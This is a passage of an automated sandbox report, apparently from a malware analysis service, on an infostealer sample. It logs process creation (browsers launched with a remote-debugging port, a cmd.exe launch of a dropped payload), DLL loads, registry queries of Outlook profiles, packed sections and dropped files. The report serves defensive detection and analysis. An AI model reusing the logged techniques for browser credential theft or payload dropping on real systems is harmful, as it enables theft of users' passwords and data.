Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000005.00000003.1509835263.000000001D095000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1646407277.000000001D089000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFIEHIDAAAAFHCF.5.dr, BFHDAEHDAKECGCAKFCFI.5.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: EBAEBFIIEC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2176,i,4764351343650713281,6497553949614997489,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2308,i,12718116921398558821,8893583066330882150,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2028,i,7342813088449255443,16590771341194468237,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBAEBFIIEC.exe "C:\Users\user\Documents\EBAEBFIIEC.exe"
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2176,i,4764351343650713281,6497553949614997489,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2308,i,12718116921398558821,8893583066330882150,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2028,i,7342813088449255443,16590771341194468237,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBAEBFIIEC.exe "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 5192704 > 1048576

Source: file.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x249000
Source: file.exe	Static PE information: Raw size of ybljwnkf is bigger than: 0x100000 < 0x2a7000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000005.00000002.1932124200.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.5.dr, softokn3[1].dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.5.dr, vcruntime140.dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.5.dr, msvcp140[1].dll.5.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000005.00000002.1932124200.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.5.dr, softokn3[1].dll.5.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 5.2.file.exe.230000.0.unpack :EW;.rsrc:W;.idata :W;ybljwnkf:EW;cjextcal:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ybljwnkf:EW;cjextcal:EW;.taggant:EW;
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Unpacked PE file: 19.2.EBAEBFIIEC.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ffwzukkx:EW;clkqzkfu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x30fd13 should be: 0x3128dd
Source: skotes.exe.19.dr	Static PE information: real checksum: 0x30fd13 should be: 0x3128dd
Source: EBAEBFIIEC.exe.5.dr	Static PE information: real checksum: 0x30fd13 should be: 0x3128dd
Source: file.exe	Static PE information: real checksum: 0x4fec38 should be: 0x4f706e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ybljwnkf
Source: file.exe	Static PE information: section name: cjextcal
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.5.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.5.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.5.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.5.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.5.dr	Static PE information: section name: .didat
Source: nss3.dll.5.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.5.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name: ffwzukkx
Source: random[1].exe.5.dr	Static PE information: section name: clkqzkfu
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name:
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name: .idata
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name: ffwzukkx
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name: clkqzkfu
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name: .taggant
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name: ffwzukkx
Source: skotes.exe.19.dr	Static PE information: section name: clkqzkfu
Source: skotes.exe.19.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00DFD91C push ecx; ret	19_2_00DFD92F
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00DF1359 push es; ret	19_2_00DF135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_008DD91C push ecx; ret	22_2_008DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008DD91C push ecx; ret	23_2_008DD92F

Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.027654055420256
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name: entropy: 7.027654055420256
Source: skotes.exe.19.dr	Static PE information: section name: entropy: 7.027654055420256

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\EBAEBFIIEC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\EBAEBFIIEC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
